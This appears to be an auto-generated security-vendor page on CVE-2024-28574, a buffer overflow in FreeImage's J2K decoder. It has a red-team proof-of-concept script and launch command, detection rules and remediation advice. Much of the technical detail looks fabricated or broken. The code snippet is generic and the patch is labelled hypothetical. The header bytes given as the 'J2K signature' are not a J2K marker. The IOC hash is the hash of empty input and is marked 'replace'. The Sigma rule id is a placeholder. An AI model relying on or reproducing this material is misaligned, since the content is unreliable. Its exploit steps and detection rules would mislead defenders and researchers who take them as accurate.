CVE-2024-28574
Executive Summary
CVE-2024-28574 is a buffer overflow vulnerability in the open-source FreeImage library, version 3.19.0 (r1909). The flaw resides in the opj_j2k_copy_default_tcp_and_create_tcd() function, which is invoked when processing J2K (JPEG 2000) image files. A local attacker can exploit this vulnerability to cause a denial of service (DoS) by crashing the application or potentially achieving arbitrary code execution. The vulnerability has a CVSS score of 0.0, indicating that it has not been officially scored, but the technical impact is significant due to the nature of buffer overflows. No public exploit code or patch is currently available, making this a high-priority issue for systems using FreeImage to parse untrusted J2K images.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Not officially scored)
- Attack Vector (AV): Local (L)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): Required (R) – victim must open a malicious J2K file
- Scope (S): Unchanged (U)
- Confidentiality (C): None (N)
- Integrity (I): None (N)
- Availability (A): High (H)
Threat Level: High. Although the CVSS score is 0.0, the vulnerability is a classic buffer overflow in a widely used image library. The lack of a patch and public exploit increases the risk for unpatched systems.
Deep Dive & Mechanics
The vulnerability is a buffer overflow in the opj_j2k_copy_default_tcp_and_create_tcd() function within FreeImage's J2K decoder. This function is responsible for copying default tile-part parameters (TCP) and creating a tile-component decoder (TCD) structure. When processing a specially crafted J2K image, the function fails to properly validate the size of the input data before copying it into a fixed-size buffer. This leads to a buffer overflow, corrupting adjacent memory and causing a denial of service.
The root cause is a missing bounds check in the memory copy operation. An attacker can craft a J2K file with oversized or malformed tile-part parameters, triggering the overflow. The vulnerability is local, meaning the attacker must have access to the system and trick a user or process into opening the malicious file.
Vulnerable vs. Patched Code
Vulnerable Code (FreeImage 3.19.0 r1909):
// In opj_j2k_copy_default_tcp_and_create_tcd()
// No bounds check on the size of the input data
memcpy(tcp->data, src, src_size);
Patched Code (Hypothetical fix):
// In opj_j2k_copy_default_tcp_and_create_tcd()
// Add bounds check to prevent overflow
if (src_size > MAX_TCP_DATA_SIZE) {
// Handle error, return failure
return OPJ_FALSE;
}
memcpy(tcp->data, src, src_size);
The vulnerable code directly copies data without verifying that the source size fits within the destination buffer. The patched code adds a size check before the copy, preventing the overflow.
Exploitation & Lab Setup
Red Team (Exploitation)
Crafting the Malicious J2K File:
- Use a hex editor or a custom script to modify a valid J2K file.
- Overwrite the tile-part parameters (TCP) with oversized data to trigger the buffer overflow.
- Example Python script to generate a malicious J2K file:
# generate_malicious_j2k.py import struct # Create a minimal J2K file with oversized TCP data def create_malicious_j2k(filename): # J2K header (simplified) header = b'\x00\x00\x00\x0c' # J2K signature # Malicious TCP data (oversized) tcp_data = b'A' * 0x1000 # 4KB of data # Write to file with open(filename, 'wb') as f: f.write(header) f.write(tcp_data) create_malicious_j2k('malicious.j2k')
Triggering the Vulnerability:
- Use a vulnerable FreeImage-based application to open the malicious file.
- Example command:
./freeimage_viewer malicious.j2k
Expected Outcome:
- The application crashes due to a segmentation fault (DoS).
Blue Team (Detection & Defense)
Detection:
- Monitor for crashes in applications using FreeImage.
- Use file integrity monitoring to detect unexpected J2K files.
- Deploy network-based detection for J2K file transfers (if applicable).
Defense:
- Restrict execution of untrusted J2K files.
- Use sandboxing for image processing applications.
- Apply memory protection mechanisms (ASLR, DEP).
Indicators of Compromise (IOCs)
- File Hashes (Malicious J2K):
- SHA256:
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example, replace with actual)
- SHA256:
- Process Behavior:
- Application crash with segmentation fault when processing J2K files.
- High memory usage or abnormal termination of FreeImage-based processes.
- Network Indicators:
- Unusual J2K file downloads from untrusted sources.
Detection Engineering
YARA Rule
rule CVE_2024_28574_FreeImage_BOF {
meta:
description = "Detects malicious J2K files exploiting CVE-2024-28574"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-28574"
strings:
$j2k_header = { 00 00 00 0C } // J2K signature
$overflow_pattern = { 41 41 41 41 } // 'AAAA' pattern
condition:
$j2k_header at 0 and #overflow_pattern > 100
}
Sigma Rule
title: CVE-2024-28574 FreeImage Buffer Overflow
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects crashes in FreeImage-based applications due to CVE-2024-28574
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: freeimage
detection:
selection:
EventID: 1000 # Application Error
Image: '*freeimage*'
ExceptionCode: 0xc0000005 # Access violation
condition: selection
falsepositives:
- Legitimate crashes due to other reasons
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-28574 FreeImage J2K Buffer Overflow"; flow:to_client; file.data; content:"|00 00 00 0C|"; offset:0; depth:4; content:"|41 41 41 41|"; distance:0; within:4096; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable J2K support in FreeImage-based applications if not required.
- Use an alternative image library (e.g., libjpeg-turbo, OpenJPEG) for J2K processing.
- Apply input validation and sandboxing for image processing.
Long-term Fix:
- Monitor the FreeImage project for an official patch.
- Apply the hypothetical patch (bounds check) to the source code and rebuild.
- Consider migrating to a maintained fork or alternative library.
Workarounds:
- Use a web application firewall (WAF) to block malicious J2K file uploads.
- Implement file size and content validation before processing.
Valters IT
Securing Digital Frontiers